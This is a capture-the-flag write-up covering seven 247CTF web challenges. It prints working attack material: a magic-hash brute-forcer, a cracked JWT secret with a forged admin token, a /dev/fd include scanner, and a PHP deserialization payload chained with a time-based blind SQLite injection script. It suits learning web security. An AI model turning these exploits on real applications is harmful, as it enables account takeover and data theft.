247 WEB CHALLENGES WRITE-UP
The 247CTF is a security Capture The Flag (CTF) learning environment. The platform contains a number of hacking challenges where you can test your skills across web, cryptography, networking, reversing and exploitation by solving problems to recover flags. Although 24/CTF offers a great variety of categories of CTF’s, I will only be posting the write-up of the challenges that belong to the web category. Hope you enjoy it 😊 !!
[*] INDEX:
- Secured Session - Easy
- Trusted Client - Easy
- Compare the Pair - Moderate
- Flag Authoriser - Moderate
- Forgotten File Pointer - Moderate
- Acid Flag Bank - Moderate
- Cereal Logger - Hard
SECURED SESSION
We can see that the code is written in python :
import os
from flask import Flask, request, session
from flag import flag
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
def secret_key_to_int(s):
try:
secret_key = int(s)
except ValueError:
secret_key = 0
return secret_key
@app.route("/flag")
def index():
secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
session['flag'] = flag
if secret_key == app.config['SECRET_KEY']:
return session['flag']
else:
return "Incorrect secret key!"
@app.route('/')
def source():
return "%s" % open(__file__).read()
if __name__ == "__main__":
app.run()
We see that in the website is running with flask, if we check at the source code we see that the flag is placed in the user’s cookie once he visits the website. Once we do that we see this :
session=eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YbkuyQ.WznHR6_D1DNZpgPx13FG6F45o8s
We just have to decode the base64 encoded cookie value :
{"flag":{" b":"MjQ3Q1RGe2RhODA3OTVmOGE1Y2FiMmUwMzdkNzM4NTgwN2I5YTkxfQ=="}}
We can see there the flag, let’s decode it again :
247CTF{…}
TRUSTED CLIENT
In this challenge we have to bypass a login panel, where we can see this in the front-end source code (the authentication is evaluated in the client side)
<script>
window.onload=function() {
document.getElementById('login').onsubmit=function() {
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(
[...]
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]))()
return false;
}
}
</script>
We can see that this is using JsFuck, let’s decode it here :
function anonymous(
) {
if (this.username.value == 'the_flag_is' && this.password.value == '247CTF{6c91b7f7f12c852f892293d16dba0148}'){ alert('Valid username and password!'); } else { alert('Invalid username and password!'); }
}
247CTF{…}
COMPARE THE PAIR
In this level we’re gonna deal with a bad implementation of loose comparisons :
<?php
require_once('flag.php');
$password_hash = "0e902564435691274142490923013038";
$salt = "f789bbc328a3d1a3";
if(isset($_GET['password']) && md5($salt . "266029853") == $password_hash){
echo $flag;
}
echo highlight_file(__FILE__, true);
?>
When we deal with loose comparison “==”, contrary to strict comparisons, php does a kind of conversion in which can turn hexadecimal into decimal, for example :
php > var_dump("0e1337" == 0);
bool(true)
php > var_dump("0e1337" === 0);
bool(false)
“0e” + numbers is equal to 0, in the website source code we can see that it’s comparing “0e902564435691274142490923013038” to the md5 hash of “f789bbc328a3d1a3” + a variable. We can bruteforce the variable till the result of the hash is “0e” + numbers. In my case I used this php script :
<?php
$salt = "f789bbc328a3d1a3";
$x = 1;
while (True) {
if (md5($salt . $x) == 0) {
echo $x;
$x++;
} else {
$x++;
}
}
?>
output : 237701818
Let’s visit the url :
https://621961da87020232.247ctf.com/?password=237701818
247CTF{…}
FLAG AUTHORISER
In this level we’re gonna deal with JWT (Json Web Token), this is used as cookie and it includes user’s information.
The JWT structure is made up of 3 parts : header
.payload
.signature
:
- The
header
identifies which algorithm is used to generate the signature. The most common algorithms are HMAC with SHA-256 (HS256) and RSA signature with SHA-256 (RS256).
{
"alg": "HS256",
"typ": "JWT"
}
- The
payload
is the json that contains all the data.
{
"user": "admin"
}
The signature
validates the token, this includes a secret_key needed to create the JWT.
HMAC_SHA256(
secret_key,
base64urlEncoding(header) + '.' +
base64urlEncoding(payload)
)
The three parts are encoded separately with base64url encoding and concatenated using periods to produce the JWT :
const token = base64urlEncoding(header) + '.' + base64urlEncoding(payload) + '.' + base64urlEncoding(signature)
If we take a look at the source code :
from flask import Flask, redirect, url_for, make_response, render_template, flash
from flask_jwt_extended import JWTManager, create_access_token, jwt_optional, get_jwt_identity
from secret import secret, admin_flag, jwt_secret
app = Flask(__name__)
cookie = "access_token_cookie"
app.config['SECRET_KEY'] = secret
app.config['JWT_SECRET_KEY'] = jwt_secret
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['DEBUG'] = False
jwt = JWTManager(app)
def redirect_to_flag(msg):
flash('%s' % msg, 'danger')
return redirect(url_for('flag', _external=True))
@jwt.expired_token_loader
def my_expired_token_callback():
return redirect_to_flag('Token expired')
@jwt.invalid_token_loader
def my_invalid_token_callback(callback):
return redirect_to_flag(callback)
@jwt_optional
def get_flag():
if get_jwt_identity() == 'admin':
return admin_flag
@app.route('/flag')
def flag():
response = make_response(render_template('main.html', flag=get_flag()))
response.set_cookie(cookie, create_access_token(identity='anonymous'))
return response
@app.route('/')
def source():
return "%s" % open(__file__).read()
if __name__ == "__main__":
app.run()
We see that if we visit /flag
directory, a jwt cookie will be asigned to us, in this case :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjc3JmIjoiM2MxNDA5NDQtNjNjYi00ZGNjLTg0N2QtZDJmNGUxYTA1OGIyIiwianRpIjoiNmM2OGZjYjktMzc0My00NDE4LTkxYzQtM2Q0YmYwYThjOWFiIiwiZXhwIjoxNjM5NjE2MDI0LCJmcmVzaCI6ZmFsc2UsImlhdCI6MTYzOTYxNTEyNCwidHlwZSI6ImFjY2VzcyIsIm5iZiI6MTYzOTYxNTEyNCwiaWRlbnRpdHkiOiJhbm9ueW1vdXMifQ.YTzki653xlDZi4BvTmkFrOmWGgcz94n9Q5Ol0GIdDq0
We can decode it in jwt.io but I’m gonna try with nodejs :
var token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjc3JmIjoiM2MxNDA5NDQtNjNjYi00ZGNjLTg0N2QtZDJmNGUxYTA1OGIyIiwianRpIjoiNmM2OGZjYjktMzc0My00NDE4LTkxYzQtM2Q0YmYwYThjOWFiIiwiZXhwIjoxNjM5NjE2MDI0LCJmcmVzaCI6ZmFsc2UsImlhdCI6MTYzOTYxNTEyNCwidHlwZSI6ImFjY2VzcyIsIm5iZiI6MTYzOTYxNTEyNCwiaWRlbnRpdHkiOiJhbm9ueW1vdXMifQ.YTzki653xlDZi4BvTmkFrOmWGgcz94n9Q5Ol0GIdDq0";
const parseJwt = (token) => {
try {
return JSON.parse(atob(token.split('.')[1]));
} catch (e) {
return null;
}
};
var decoded = parseJwt(token);
console.log(decoded);
The payload of the JWT is :
{
"csrf": "3c140944-63cb-4dcc-847d-d2f4e1a058b2",
"jti": "6c68fcb9-3743-4418-91c4-3d4bf0a8c9ab",
"exp": 1639616024,
"fresh": false,
"iat": 1639615124,
"type": "access",
"nbf": 1639615124,
"identity": "anonymous"
}
Our user is “anonymous” and according to the source code, if the server checks that we’re the user, we can get the flag :
@jwt_optional
def get_flag():
if get_jwt_identity() == 'admin':
return admin_flag
But first of all, we have to get the secret_key
, let’s use john
as cracker :
john jwt.hash --wordlist=rockyou.txt — format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 ASIMD 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wepwn247 (?)
1g 0:00:00:00 DONE (2021-12-16 00:05) 1.470g/s 4096Kp/s 4096Kc/s 4096KC/s whatver!..wendy.jja9363
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
So the secret_key is wepwn247
, let’s create our own JWT in jwt.io, our new payload will be :
{
"csrf": "3c140944-63cb-4dcc-847d-d2f4e1a058b2",
"jti": "6c68fcb9-3743-4418-91c4-3d4bf0a8c9ab",
"exp": 1639616024,
"fresh": false,
"iat": 1639615124,
"type": "access",
"nbf": 1639615124,
"identity": "admin"
}
We set wepwn247
as the key and our cookie will be :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjc3JmIjoiMzY0ZmU1YTQtNzEwYS00NzExLTlkZWYtMTM4NzRjYjNmNDlmIiwianRpIjoiMGJkOTg3MmYtYzI5My00MzI0LWIwYWMtODgwZDNkZjFiNmMxIiwiZXhwIjoxNjM5NjY1MDAxLCJmcmVzaCI6ZmFsc2UsImlhdCI6MTYzOTY2NDEwMSwidHlwZSI6ImFjY2VzcyIsIm5iZiI6MTYzOTY2NDEwMSwiaWRlbnRpdHkiOiJhZG1pbiJ9.RVRUi7csK3xg9YZ9pe4_9S8v8a83ztxh74aLrB8ZrJw
Now go to /flag
again with the new cookie.
247CTF{…}
FORGOTTEN FILE POINTER
In this challenge we’re gonna deal with file descriptors. In Linux, EVERYHING is a file; regular files, directories, and even devices are files. Every File has an associated number called File Descriptor (FD). The file descriptor uniquely identifies an open fine in a computer’s operative system, and as said, in Linux everything is a file, so the file descriptor is too.
If we take a look at the source code, we can see that the flag file is opened, and then we can request a file, but we cannot enter a path larger than 10 characters :
<?php
$fp = fopen("/tmp/flag.txt", "r");
if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
include($_GET['include']);
}
fclose($fp);
echo highlight_file(__FILE__, true);
?>
Instead of /tmp/flag.txt
we can try to find the opened file using file descriptors, which is located in /dev/fd/
followed by numbers, let’s find the file using python :
#!/usr/bin/python3
import requests
id = 1
while True:
url = f"https://b43592817022afcb.247ctf.com/?include=/dev/fd/{id}"
x = requests.get(url)
if "247CTF" in x.text:
print(id)
else:
id+=1
output : 10
Now let’s grab the flag at :
https://b43592817022afcb.247ctf.com/?include=/dev/fd/10
247CTF{…}
ACID FLAG BANK
In this level we’re gonna deal with race condition, this occures when 2 or more threads are accessing to the same variable at the same time. Then the first thread and second thread perform their operations on the value, and they race to see which thread can write the value last to the shared variable.
Let’s take a look at the source code :
<?php
require_once('flag.php');
class ChallDB
{
public function __construct($flag)
{
$this->pdo = new SQLite3('/tmp/users.db');
$this->flag = $flag;
}
public function updateFunds($id, $funds)
{
$stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);
return $stmt->execute();
}
public function resetFunds()
{
$this->updateFunds(1, 247);
$this->updateFunds(2, 0);
return "Funds updated!";
}
public function getFunds($id)
{
$stmt = $this->pdo->prepare('select funds from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
return $result->fetchArray(SQLITE3_ASSOC)['funds'];
}
public function validUser($id)
{
$stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
$row = $result->fetchArray(SQLITE3_ASSOC);
return $row['valid'] == true;
}
public function dumpUsers()
{
$result = $this->pdo->query("select id, funds from users");
echo "<pre>";
echo "ID FUNDS\n";
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
echo "{$row['id']} {$row['funds']}\n";
}
echo "</pre>";
}
public function buyFlag($id)
{
if ($this->validUser($id) && $this->getFunds($id) > 247) {
return $this->flag;
} else {
return "Insufficient funds!";
}
}
public function clean($x)
{
return round((int)trim($x));
}
}
$db = new challDB($flag);
if (isset($_GET['dump'])) {
$db->dumpUsers();
} elseif (isset($_GET['reset'])) {
echo $db->resetFunds();
} elseif (isset($_GET['flag'], $_GET['from'])) {
$from = $db->clean($_GET['from']);
echo $db->buyFlag($from);
} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) {
$to = $db->clean($_GET['to']);
$from = $db->clean($_GET['from']);
$amount = $db->clean($_GET['amount']);
if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {
$db->updateFunds($from, $db->getFunds($from) - $amount);
$db->updateFunds($to, $db->getFunds($to) + $amount);
echo "Funds transferred!";
} else {
echo "Invalid transfer request!";
}
} else {
echo highlight_file(__FILE__, true);
}
We have some functionalities :
1- Get user’s id and their money 2- Reset the amount value 3- Buy the flag 4- Transfer money
If we dump
we can see this data :
https://e4612a7ef95ab618.247ctf.com/?dump
ID FUNDS
1 247
2 0
The user 1 has 247, we can transfer that money to the user 2 :
https://e4612a7ef95ab618.247ctf.com/?from=1&to=2&amount=247
Funds transferred!
https://e4612a7ef95ab618.247ctf.com/?dump
ID FUNDS
1 0
2 247
It works, let’s check out how does the server transfer the money :
} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) {
$to = $db->clean($_GET['to']);
$from = $db->clean($_GET['from']);
$amount = $db->clean($_GET['amount']);
if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {
$db->updateFunds($from, $db->getFunds($from) - $amount);
$db->updateFunds($to, $db->getFunds($to) + $amount);
echo "Funds transferred!";
} else {
echo "Invalid transfer request!";
}
The server checks if the user (from) hash enough money, and then updates their funds. This is vulnerable against race condition
, due to the fact that while a transaction is being made, another transaction can check if the user has money and when the first transaction finished and the user lacks of money, the money will still be adding to the user (to) :
$db->updateFunds($from, $db->getFunds($from) - $amount);
$db->updateFunds($to, $db->getFunds($to) + $amount);
You can perform multiple transactions till the money exceed initial amount. And then just buy the flag :
247CTF{…}
CEREAL LOGGER
This challenge consists of 3 vulnerabilities; type juggling, deserealization and SQL injection. Let’s take a look at the source code :
<?php
class insert_log
{
public $new_data = "Valid access logged!";
public function __destruct()
{
$this->pdo = new SQLite3("/tmp/log.db");
$this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");
}
}
if (isset($_COOKIE["247"]) && explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0") {
file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));
} else {
echo highlight_file(__FILE__, true);
}
In the first place we have to satisfy the condition for the if
statement, we have to create a cookie named “247” that satisfies this condition :
explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0"
The explode()
function turns a string into an array, in this case separated by a dot. For example :
$string = "hello.world.maiky";
var_dump(explode(".", $string));
Output :
array(3) {
[0]=>
string(5) "hello"
[1]=>
string(5) "world"
[2]=>
string(5) "maiky"
}
In this case we’re getting the [1] item (world) and apply the rand()
function which will append to selected text a random number. For example :
$string = "hello.world.maiky";
$array = (explode(".", $string)); // ["hello", "world", "maiky"]
$selected_text = $array[1]; // world
echo $selected_text.rand(0, 247247247);
Output :
world161921500
And finally this output must be equal to “0”, so here we can exploit the loose comparison vulnerability (If you’re not too familiar with this vulnerability, I recommend you take a look at the challenge of Compare the Pair - Moderate). So our cookie must look like something like this :
xxxxxxxxxx.0e
Once here the server will execute the following code :
file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));
The server will base64 decode the element [0] and then deserialize it into an object. This is highly insecure, the user input SHOULD NEVER passed directly into a unserialize()
function. The class we’re dealing with is the following :
class insert_log
{
public $new_data = "Valid access logged!";
public function __destruct()
{
$this->pdo = new SQLite3("/tmp/log.db");
$this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");
}
}
So let’s try to serialize this first :
class insert_log
{
public $new_data = "example text";
}
$obj = new insert_log();
echo serialize($obj);
Output :
O:10:"insert_log":1:{s:8:"new_data";s:12:"example text";}
With this we can conclude that the structure of a serialized object is :
O:
characters of the name of the class
:"name of the class
":quantity of variables
:{s:characters of the variable name
:"variable name
";s:characters of the value
:"value of the variable
";}
Once here we have to build a python script to solve this challenge, let’s create a function to craft the cookie :
def create_cookie(data):
constant = ".0e"
payload = 'O:10:"insert_log":1:{s:8:"new_data";s:' + str(len(data)) + ':"' + data + '";}'
cookie = base64.b64encode(payload.encode("utf-8")).decode() + constant
return cookie
For example if our data is “maiky”, the cookie will be :
TzoxMDoiaW5zZXJ0X2xvZyI6MTp7czo4OiJuZXdfZGF0YSI7czo1OiJtYWlreSI7fQ==.0e
Decoded base64 :
O:10:"insert_log":1:{s:8:"new_data";s:5:"maiky";}
Nice 😊 so this is working propertly. If we take a look at the class we can see the __destruct()
function, this method will be called when PHP script end and object is destroyed. In this case we can see that the function is performing a SQLite query :
public function __destruct()
{
$this->pdo = new SQLite3("/tmp/log.db");
$this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");
}
We can perform a SQL injection here, first we have to escape from the first query , append our own query and then comment out the rest :
'); here we put the query --
From the source we can see that we’re dealing with SQLite, and taking into account that we’re not receiving any response from the server we just have the time delay to know if our query worked or not. To perform a time based SQL injection in SQLite we’ll be using randomblob()
function :
randomblob(900000000)
This function will take some time, so we can use that function after a AND
statement, in case that the first conditional is true randomblob()
function will be executed otherwise it will not and there won’t be time delay. The following query is the one I used to get the table name :
SELECT substr(name, 1, 1) AS c FROM sqlite_master WHERE c LIKE 'a' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --
This is comparing the first char of the table name with ‘a’, in the case that it’s true, randomblob()
will be executed and the time delay will be up to 1s. I made a python function for this :
def get_table(url):
table_name = "[+] Table Name : "
finish = False
y = 1
while finish == False:
for char in charset:
cookies = {
"247" : create_cookie(f"foo'); SELECT substr(name, {y}, 1) AS c FROM sqlite_master WHERE c LIKE '{char}' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --")
}
r = requests.get(url, cookies=cookies)
if r.elapsed.total_seconds() > 1: # Checks if the time delay is up to 1s
table_name += char
# print(char, end='', flush=True)
y+=1
break
if char == charset[-1]: # Finish the loop if we arrived to the last char
finish = True
return table_name
Output :
[+] Table Name : flag
And now we’ll be doing the same with the column name :
SELECT substr(name, 1, 1) AS c FROM pragma_table_info('flag') WHERE c LIKE 'a' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --
def get_column(url, table_name):
column_name = "[+] Column Name : "
finish = False
y = 1
while finish == False:
for char in charset:
cookies = {
"247" : create_cookie(f"foo'); SELECT substr(name, {y}, 1) AS c FROM pragma_table_info('{table_name}') WHERE c LIKE '{char}' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --")
}
r = requests.get(url, cookies=cookies)
if r.elapsed.total_seconds() > 1: # Checks if the time delay is up to 1s
column_name += char
# print(char, end='', flush=True)
y+=1
break
if char == charset[-1]: # Finish the loop if we arrived to the last char
finish = True
return column_name
Output :
[+] Column Name : flag
Once we got table and column names, we just have to grab the flag :
SELECT substr(flag, 1, 1) AS c FROM flag WHERE c LIKE 'a' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --
def get_flag(url, table_name, column_name):
flag = "[+] Flag : "
finish = False
y = 1
while finish == False:
for char in charset:
cookies = {
"247" : create_cookie(f"foo'); SELECT substr({column_name}, {y}, 1) AS c FROM {table_name} WHERE c LIKE '{char}' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --")
}
r = requests.get(url, cookies=cookies)
if r.elapsed.total_seconds() > 1: # Checks if the time delay is up to 1s
flag += char
print(char, end='', flush=True)
y+=1
break
if char == charset[-1]: # Finish the loop if we arrived to the last char
finish = True
return flag
Output :
[+] Flag : 247{...}
Solve script :
import requests
import base64
import string
charset = string.ascii_letters + string.digits + "@{}-/()!\"$=^[]:; " # "_@{}-/()!\"$%=^[]:; "
url = "https://mirror.247ctf.com/"
def create_cookie(data):
constant = ".0e"
payload = 'O:10:"insert_log":1:{s:8:"new_data";s:' + str(len(data)) + ':"' + data + '";}'
cookie = base64.b64encode(payload.encode("utf-8")).decode() + constant
return cookie
def get_table(url):
table_name = "[+] Table Name : "
finish = False
y = 1
while finish == False:
for char in charset:
cookies = {
"247" : create_cookie(f"yiusepinho'); SELECT substr(name, {y}, 1) AS c FROM sqlite_master WHERE c LIKE '{char}' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --")
}
r = requests.get(url, cookies=cookies)
if r.elapsed.total_seconds() > 1: # Checks if the time delay is up to 1s
table_name += char
print(char, end='', flush=True)
y+=1
break
if char == charset[-1]: # Finish the loop if we arrived to the last char
finish = True
return table_name
def get_column(url, table_name):
column_name = "[+] Column Name : "
finish = False
y = 1
while finish == False:
for char in charset:
cookies = {
"247" : create_cookie(f"yiusepinho'); SELECT substr(name, {y}, 1) AS c FROM pragma_table_info('{table_name}') WHERE c LIKE '{char}' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --")
}
r = requests.get(url, cookies=cookies)
if r.elapsed.total_seconds() > 1: # Checks if the time delay is up to 1s
column_name += char
# print(char, end='', flush=True)
y+=1
break
if char == charset[-1]: # Finish the loop if we arrived to the last char
finish = True
return column_name
def get_flag(url, table_name, column_name):
flag = "[+] Banderinha : "
finish = False
y = 1
while finish == False:
for char in charset:
cookies = {
"247" : create_cookie(f"yiusepinho'); SELECT substr({column_name}, {y}, 1) AS c FROM {table_name} WHERE c LIKE '{char}' AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) AND 1=randomblob(900000000) ; --")
}
r = requests.get(url, cookies=cookies)
if r.elapsed.total_seconds() > 1: # Checks if the time delay is up to 1s
flag += char
print(char, end='', flush=True)
y+=1
break
if char == charset[-1]: # Finish the loop if we arrived to the last char
finish = True
# return cookies
return flag
if __name__ == "__main__":
print(get_table(url))
print(get_column(url, "flag"))
print(get_flag(url, "flag", "flag"))